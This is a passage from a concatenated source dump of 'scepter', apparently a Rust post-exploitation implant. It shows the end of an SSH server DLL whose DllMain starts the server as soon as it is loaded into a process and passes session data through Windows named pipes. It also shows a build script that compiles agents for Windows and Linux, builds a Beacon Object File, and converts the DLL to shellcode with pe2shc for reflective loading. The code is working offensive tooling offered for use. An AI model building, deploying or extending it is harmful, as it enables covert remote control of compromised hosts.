welcome)?; 254 | 255 | Ok(true) 256 | } 257 | 258 | async fn data( 259 | &mut self, 260 | _channel: ChannelId, 261 | data: &[u8], 262 | _session: &mut Session, 263 | ) -> Result<(), Self::Error> { 264 | // Sending Ctrl+C ends the session and disconnects the client 265 | if data == [3] { 266 | return Err(russh::Error::Disconnect); 267 | } 268 | 269 | let output_data = String::from_utf8_lossy(data); 270 | 271 | debug_println!("Got data: {}", output_data); 272 | unsafe { 273 | pipe::write_output(G_H_OUTPUT_PIPE, output_data.as_ref()); 274 | }; 275 | Ok(()) 276 | } 277 | } 278 | 279 | impl Drop for Server { 280 | fn drop(&mut self) { 281 | let id = self.id; 282 | 283 | unsafe { 284 | if G_H_OUTPUT_PIPE != 0 as HANDLE { 285 | CloseHandle(G_H_OUTPUT_PIPE); 286 | } 287 | if G_H_INPUT_PIPE != 0 as HANDLE { 288 | CloseHandle(G_H_INPUT_PIPE); 289 | } 290 | } 291 | 292 | let clients = self.clients.clone(); 293 | tokio::spawn(async move { 294 | let mut clients = clients.lock().await; 295 | clients.remove(&id); 296 | }); 297 | } 298 | } 299 | 300 | unsafe extern "system" fn dll_main_caller(_param: *mut c_void) -> u32 { 301 | dll_main(); 302 | 0 303 | } 304 | #[unsafe(no_mangle)] 305 | pub unsafe extern "system" fn dll_start() { 306 | // Create a new thread with its own tokio runtime 307 | unsafe { 308 | let h_thread = CreateThread( 309 | null_mut(), 310 | 0, 311 | Some(dll_main_caller), 312 | null_mut(), 313 | 0, 314 | null_mut(), 315 | ); 316 | WaitForSingleObject(h_thread, INFINITE); 317 | } 318 | } 319 | 320 | #[unsafe(no_mangle)] 321 | #[allow(named_asm_labels)] 322 | #[allow(non_snake_case, unused_variables, unreachable_patterns)] 323 | pub unsafe extern "system" fn DllMain( 324 | dll_module: HANDLE, 325 | call_reason: u32, 326 | reserved: *mut c_void, 327 | ) -> BOOL { 328 | match call_reason { 329 | DLL_PROCESS_ATTACH => { 330 | // Initialize resources, etc. 331 | unsafe { dll_start() }; 332 | } 333 | DLL_THREAD_ATTACH => { 334 | // Code to run when a new thread is created in the process 335 | } 336 | DLL_THREAD_DETACH => { 337 | // Code to run when a thread exits cleanly 338 | } 339 | DLL_PROCESS_DETACH => { 340 | // Code to run when the DLL is unloaded from the process 341 | // Clean up resources, etc. 342 | } 343 | _ => {} 344 | } 345 | return 1; 346 | } 347 | -------------------------------------------------------------------------------- /scepter-server/src/main.rs: -------------------------------------------------------------------------------- 1 | #![feature(stmt_expr_attributes)] 2 | extern crate core; 3 | 4 | mod lib; 5 | use crate::lib::dll_start; 6 | // This will import everything public from lib.rs 7 | 8 | #[tokio::main] 9 | async fn main() { 10 | unsafe { 11 | dll_start(); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /xtask/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "xtask" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [dependencies] 7 | -------------------------------------------------------------------------------- /xtask/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::process::{Command, exit}; 2 | 3 | fn main() { 4 | let path = std::env::current_dir().unwrap(); 5 | println!("[INFO] The current directory is {}", path.display()); 6 | 7 | // Build scepter-server -- 64-bit only because I don't care about 32-bit, sorry 8 | println!("[XTASK] Building scepter-server..."); 9 | let status = Command::new("cargo") 10 | .args(&[ 11 | "build", 12 | "--release", 13 | "--manifest-path", 14 | "./Cargo.toml", 15 | "--target", 16 | "x86_64-pc-windows-gnu", 17 | ]) 18 | .current_dir("./scepter-server") 19 | .status() 20 | .expect("Failed to build"); 21 | if !status.success() { 22 | exit(1); 23 | } 24 | 25 | // Copy target/x86_64-pc-windows-gnu/release/scepter_server.dll to bins/x64/scepter_server.x64.dll 26 | let status = Command::new("cp") 27 | .args(&[ 28 | "target/x86_64-pc-windows-gnu/release/scepter_server.dll", 29 | "./bins/x64/scepter_server.windows.x64.dll", 30 | ]) 31 | .current_dir(".") 32 | .status() 33 | .expect("Failed to copy"); 34 | if !status.success() { 35 | exit(1); 36 | } 37 | 38 | // Build Win64 scepter-agent 39 | println!("[XTASK] Building scepter-agent..."); 40 | let status = Command::new("cargo") 41 | .args(&[ 42 | "build", 43 | "--release", 44 | "--manifest-path", 45 | "./Cargo.toml", 46 | "--target", 47 | "x86_64-pc-windows-gnu", 48 | ]) 49 | .current_dir("./scepter-agent") 50 | .status() 51 | .expect("Failed to build"); 52 | if !status.success() { 53 | exit(1); 54 | } 55 | 56 | // Copy target/x86_64-pc-windows-gnu/release/scepter_agent.exe/dll to bins/x64/scepter_agent.x64.exe/dll 57 | let status = Command::new("cp") 58 | .args(&[ 59 | "target/x86_64-pc-windows-gnu/release/scepter_agent.dll", 60 | "./bins/x64/scepter_agent.windows.x64.dll", 61 | ]) 62 | .current_dir(".") 63 | .status() 64 | .expect("Failed to copy"); 65 | if !status.success() { 66 | exit(1); 67 | } 68 | 69 | let status = Command::new("cp") 70 | .args(&[ 71 | "target/x86_64-pc-windows-gnu/release/scepter-agent.exe", 72 | "./bins/x64/scepter_agent.windows.x64.exe", 73 | ]) 74 | .current_dir(".") 75 | .status() 76 | .expect("Failed to copy"); 77 | if !status.success() { 78 | exit(1); 79 | } 80 | 81 | // Build Linux 64 scepter-agent 82 | let status = Command::new("cargo") 83 | .args(&[ 84 | "build", 85 | "--release", 86 | "--manifest-path", 87 | "./Cargo.toml", 88 | "--target", 89 | "x86_64-unknown-linux-musl", 90 | ]) 91 | .current_dir("./scepter-agent") 92 | .status() 93 | .expect("Failed to build"); 94 | if !status.success() { 95 | exit(1); 96 | } 97 | 98 | // Copy target/x86_64-unknown-linux-musl/release/scepter_agent to bins/x64/scepter_agent.lin.x64.bin 99 | let status = Command::new("cp") 100 | .args(&[ 101 | "target/x86_64-unknown-linux-musl/release/scepter-agent", 102 | "./bins/x64/scepter_agent.linux.x64.bin", 103 | ]) 104 | .current_dir(".") 105 | .status() 106 | .expect("Failed to copy"); 107 | if !status.success() { 108 | exit(1); 109 | } 110 | 111 | // Built Linux aarch64 agent: cargo zigbuild --target aarch64-unknown-linux-gnu -p scepter-agent 112 | let status = Command::new("cargo") 113 | .args(&[ 114 | "zigbuild", 115 | "--release", 116 | "--manifest-path", 117 | "./Cargo.toml", 118 | "--target", 119 | "aarch64-unknown-linux-gnu", 120 | ]) 121 | .current_dir("./scepter-agent") 122 | .status() 123 | .expect("Failed to build"); 124 | if !status.success() { 125 | exit(1); 126 | } 127 | 128 | let status = Command::new("cp") 129 | .args(&[ 130 | "target/aarch64-unknown-linux-gnu/release/scepter-agent", 131 | "./bins/aarch64/scepter_agent.linux.aarch64.bin", 132 | ]) 133 | .current_dir(".") 134 | .status() 135 | .expect("Failed to copy"); 136 | if !status.success() { 137 | exit(1); 138 | } 139 | 140 | // Built Windows aarch64 agent: cargo build --target aarch64-pc-windows-msvc -p scepter-agent --release 141 | let status = Command::new("cargo") 142 | .args(&[ 143 | "build", 144 | "--release", 145 | "--manifest-path", 146 | "./Cargo.toml", 147 | "--target", 148 | "aarch64-pc-windows-msvc", 149 | ]) 150 | .current_dir("./scepter-agent") 151 | .status() 152 | .expect("Failed to build"); 153 | if !status.success() { 154 | exit(1); 155 | } 156 | 157 | let status = Command::new("cp") 158 | .args(&[ 159 | "target/aarch64-pc-windows-msvc/release/scepter-agent.exe", 160 | "./bins/aarch64/scepter_agent.windows.aarch64.exe", 161 | ]) 162 | .current_dir(".") 163 | .status() 164 | .expect("Failed to copy"); 165 | if !status.success() { 166 | exit(1); 167 | } 168 | 169 | let status = Command::new("cp") 170 | .args(&[ 171 | "target/aarch64-pc-windows-msvc/release/scepter_agent.dll", 172 | "./bins/aarch64/scepter_agent.windows.aarch64.dll", 173 | ]) 174 | .current_dir(".") 175 | .status() 176 | .expect("Failed to copy"); 177 | if !status.success() { 178 | exit(1); 179 | } 180 | 181 | // Compile BOF 182 | println!("[XTASK] Building BOF..."); 183 | let status = Command::new("cc") 184 | .args(&["bof.c", "-c", "-o", "../bins/x64/bof_write_pipe.x64.o"]) 185 | .current_dir("./bof-write-pipe") 186 | .status() 187 | .expect("Failed to build"); 188 | if !status.success() { 189 | exit(1); 190 | } 191 | 192 | // Apply pe2shc to bins/x64/scepter_server.x64.dll 193 | println!("[XTASK] Applying pe2shc..."); 194 | let status = Command::new("pe2shc") 195 | .args(&["scepter_server.windows.x64.dll", "scepter_server.shc.windows.x64.dll"]) 196 | .current_dir("./bins/x64/") 197 | .status() 198 | .expect("Failed to build. Is pe2shc installed and added to your system path? If you're trying to use a different reflective loader, ignore this message."); 199 | if !status.success() { 200 | exit(1); 201 | } 202 | 203 | println!("[XTASK] Done"); 204 | } 205 | --------------------------------------------------------------------------------